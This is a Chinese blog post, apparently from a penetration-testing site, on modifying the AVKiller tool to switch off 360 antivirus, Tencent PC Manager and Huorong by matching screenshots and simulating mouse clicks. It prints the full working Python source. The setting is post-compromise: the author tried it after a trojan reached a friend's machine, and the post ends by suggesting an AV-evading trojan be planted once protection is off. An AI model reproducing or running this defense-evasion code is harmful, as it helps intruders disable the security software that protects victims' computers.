WEB

WEB安全

漏洞复现

CTF

常用工具

实战

代码审计

Javaweb

后渗透

内网渗透

免杀

进程注入

权限提升

漏洞复现

靶机

vulnstack

vulnhub

Root-Me

编程语言

java

逆向

PE

逆向学习

HEVD

PWN

CTF

heap

其它

关于博客

面试

杂谈

AVkiller+

因为是修改版的所以先放作者原项目地址https://github.com/PDWR/AVKiller

0x01 起因

之前写了个360免杀自信满满的去朋友电脑上试试,的确可以上线,但是别的操作都被拦截了,各种提示进程注入,api添加用户也被拦截了(本来以为是没用了,后来发现只是这个程序被杀了加个签名就好)

直接迷惑,感觉虚拟机上面没这么强啊,然后问问他平常怎么绕过的,他说一般先把杀软关掉..

继续问就丢给我这个项目了,然后和我说这个东西关不掉他电脑上的360。

看了一下项目就是python模拟鼠标点击退出杀软

这个想法以前在先知上也看到过https://xz.aliyun.com/t/4078

当时看到这个上面说不能点击卸载,猜测直接退出也不行,就没去尝试,另外每个电脑分辨率不一样,用起来可能会有挺多麻烦

对图形处理模块也不够熟悉就没继续了

0x02 修改源码退出360 12

看了一下代码大意是先判断杀软,释放出杀软图标和退出按钮图片,win+b+Enter显示隐藏图标(快捷键也很重要,直接少了一次截图),然后屏幕截图对比杀软图标右键点击,再对比退出按钮点击,再对比确定点击

用了之后发现只能关闭360杀毒,安全卫士不能关闭,查看了一下是没有360杀毒卫士的图标

那就自己修改一下吧

先看看源代码

63行上面定义了一下图标,图片存放位置,还有获取本机杀软名称

1
2
3
4
5
6
7
get_logo()			#首先输出一个通用的退出按钮,在根据之前判断的杀软输出图标
press_keys() #之前说的win+b+Enter需要用到的
get_screen() #获取屏幕截图
get_position() #这个是关键,获取对比出来的坐标后返回
killav() #这个就是模拟点击
clean() #删除截图和 图标
saveTrayFile() #这个没看懂,好像是让杀软退出但是图标继续显示在那里的,实测好像没用

首先要提取图标https://github.com/TideSec/BypassAntiVirus/blob/master/tools/mimikatz/ResHacker.zip

用这个工具提取出最小的图标,网上找ico转png转化一下,再base64编码一下放到b64_AV_logo字典里面

因为360的退出按钮也和别的不一样,所以也要截图放到专门的变量里面

av_process字典也要加上360的进程名360Tray.exe

存截图的临时文件夹改一下,’C:\Users{}\Documents\‘.format(os.popen(‘echo %username%’),但是有些电脑可能没有这个文件夹

下面是修改后的代码,base64图片那些就不贴了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
if os.path.exists("c:\\temp"):
pass
else:
os.mkdir("c:\\temp")
base_temp_path = 'c:\\temp\\'
logoutImage = base_temp_path + r'lougoutFromB64.png'
comfireImage = base_temp_path + r'comfireFromB64.png'
logoImage = base_temp_path + r'logoFromB64.png'
screen_before = base_temp_path + r'before.png'
screen_logout = base_temp_path + r'logout.png'
screen_comfire = base_temp_path + r'comfire.png'

av_process = {'txgj': ['QQPCTray.exe', icon_txgj, '腾讯管家'],
'hr': ['HipsTray.exe', icon_hr, '火绒'],
'360': ['360sd.exe', icon_360, '360'],
'360Tray': ['360Tray.exe', icon_360Tray, '360Tray'],}


tasklist = os.popen('wmic process get name').read().split()
for av_exe in av_process.values():
if av_exe[0] in tasklist:
AV = [k for k, v in av_process.items() if v[0] == av_exe[0]][0]

AV_Name = av_process[AV][2]

processPath = os.popen(r'''wmic process where "name='{}'" get ExecutablePath'''.format(av_process[AV][0])).read().split('\n\n')[1]
print(processPath)


def get_logo():
try:
logo_b64 = b64_AV_logo[AV]
logo_img = base64.b64decode(logo_b64)
with open(logoImage, 'wb') as f:
f.write(logo_img)
if AV == r'360Tray':
with open(logoutImage, 'wb') as f:
f.write(base64.b64decode(b64_360logout))
else:
with open(logoutImage, 'wb') as f:
f.write(base64.b64decode(b64_logout))
if AV == r'hr':
return b64_logout
elif AV == r'360':
return b64_blue_comfirm
elif AV == r'txgj':
return b64_white_comfirm
else:
return b64_360logout2
except e:
print(e)
print('主人,这家伙没开杀毒软件!!!!干他๑乛◡乛๑ ')
exit()


def press_keys(*args):
pyautogui.hotkey(args[0], args[1])
sleep(0.2)
pyautogui.press(args[2])


def get_screen(screenName):
pyautogui.screenshot(screenName)


def get_position(imgSource, imgTarget):
source = cv2.imread(imgSource, 0)
target = cv2.imread(imgTarget, 0)
wight, height = target.shape[::-1]
res = cv2.matchTemplate(source, target, cv2.TM_CCOEFF_NORMED)
min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)
pos_x = int(max_loc[0] + wight / 2)
pos_y = int(max_loc[1] + height / 2)
print(pos_x, pos_y)
return pos_x, pos_y


def killav():
logout_last = get_logo()
with open(comfireImage, 'wb') as f:
f.write(base64.b64decode(logout_last))

sleep(1)
press_keys('win', 'b', 'enter')
get_screen(screen_before)
sleep(1)
pyautogui.rightClick(get_position(screen_before, logoImage))

get_screen(screen_logout)
sleep(1)
pyautogui.click(get_position(screen_logout, logoutImage))
sleep(0.5)

get_screen(screen_comfire)
sleep(1)
pyautogui.click(get_position(screen_comfire, comfireImage))


def clean():

os.popen(r'del /q {} {} {} {} {} {} '.format(logoutImage, logoImage, comfireImage,
screen_before, screen_logout, screen_comfire))



def main():
killav()
clean()



if __name__ == '__main__':
main()

在虚拟机上试了一下可行,就去和朋友对线了,可是总是不成功,直到看到了这个..

直接多了一个退出选项,那就重新再写一个吧

0x03 退出360 13

这里其实没什么好写的,就是多了一次退出,多个对比就行了

https://github.com/Macchiatto725/360killer

写个免杀的马放上去就好了

0x04 总结

写这个东西就是感觉挺有意思的,实际上可能用到的不多,毕竟有些用户是没有桌面的